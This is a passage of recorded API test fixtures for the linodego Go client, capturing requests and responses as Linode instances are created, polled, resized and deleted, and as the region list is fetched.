"1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:25:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-9a96qxkr468l","root_pass":"r8m2n+R5~@M}a2fS@^:dH]lXi)36MUxo3''|Bpzz531JV[]9P)0T*kWT9D9tdM\u002632","image":"linode/debian9","firewall_id":692998,"booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61875393, "label": "go-test-ins-9a96qxkr468l", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.9"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "8aca7a754c37f5b4e94afd4a43d57ad2c7090730", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "808" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:25:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875393 method: GET response: body: '{"id": 61875393, "label": "go-test-ins-9a96qxkr468l", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.9"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "8aca7a754c37f5b4e94afd4a43d57ad2c7090730", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "824" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:25:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875393 method: GET response: body: '{"id": 61875393, "label": "go-test-ins-9a96qxkr468l", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.9"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "8aca7a754c37f5b4e94afd4a43d57ad2c7090730", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "818" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:25:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875393 method: GET response: body: '{"id": 61875393, "label": "go-test-ins-9a96qxkr468l", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.9"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "8aca7a754c37f5b4e94afd4a43d57ad2c7090730", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "818" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:26:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"g6-standard-1","migration_type":"warm"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875393/resize method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:26:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61875393 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:26:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Volumes_List.yaml000066400000000000000000000635431474652371000325740ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage 